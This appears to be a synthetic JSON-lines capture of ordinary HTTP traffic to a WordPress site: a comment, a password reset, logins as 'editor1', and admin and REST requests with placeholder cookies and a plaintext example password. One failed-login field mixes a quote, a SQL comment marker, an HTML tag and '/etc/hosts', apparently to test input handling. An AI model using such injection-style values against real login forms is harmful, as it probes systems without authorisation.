{"method": "POST", "target": "/wp-comments-post.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 241", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "comment=Nice+post%21+I%27d+add+that+select+wines+%26+cheese+go+well%3B+see+https%3A%2F%2Fexample.org%2Fx%3Fa%3D1.&author=Jo+Reader&email=jo%40example.com&url=https%3A%2F%2Fexample.org%2F&submit=Post+Comment&comment_post_ID=1&comment_parent=0"}
{"method": "GET", "target": "/2026/11/09/hello-world/?unapproved=2&moderation-hash=c87857727b8aab5e31944f32f2f17826", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/2026/11/09/hello-world/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php?action=lostpassword", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php?action=lostpassword", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "user_login=editor1&redirect_to=&wp-submit=Get+New+Password"}
{"method": "GET", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": ""}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1%40example.com&pwd=wrong%27+pass--+%3B+%22quoted%22+%3Cb%3E+%26+%2Fetc%2Fhosts&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-login.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 127", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-login.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check"], "body": "log=editor1&pwd=Tr0ub4dor%263-horse-staple%21&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F&testcookie=1"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203150.3890221118927001953125", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,site-health,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=1&_ajax_nonce=874d028d1a&1794203151554", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-includes/js/thickbox/loadingAnimation.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=wp-compression-test&test=no&_ajax_nonce=874d028d1a&1794203151641", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 60", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": "_wpnonce=52dc4bc08a&timezone=UTC&action=get-community-events"}
{"method": "GET", "target": "/wp-admin/index.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203150"], "body": ""}
{"method": "GET", "target": "/wp-admin/admin-ajax.php?action=dashboard-widgets&widget=dashboard_primary&pagenow=dashboard", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://blog.example/wp-admin/index.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/update-core.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203152"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/update-core.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203153"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets&load%5Bchunk_1%5D=,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 126", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-1&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-post&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203154"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,moxiejs,plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,editor-buttons,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,&load%5Bchunk_1%5D=wp-patterns,wp-media-utils,wp-editor,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content&load%5Bchunk_2%5D=,wp-edit-blocks,wp-commands,wp-edit-post,wp-block-directory,wp-format-library,admin-menu,dashboard,list-tables,edit,revisions,me&load%5Bchunk_3%5D=dia,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 118", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:45:57.030Z\"}}}"}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=wp-polyfill&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=6&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/blocks?context=edit&per_page=100&page=1&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/wp_pattern_category?context=view&per_page=100&_fields=id%2Cname%2Cdescription%2Cslug&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_status=publish&post_type=post", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203155"], "body": ""}
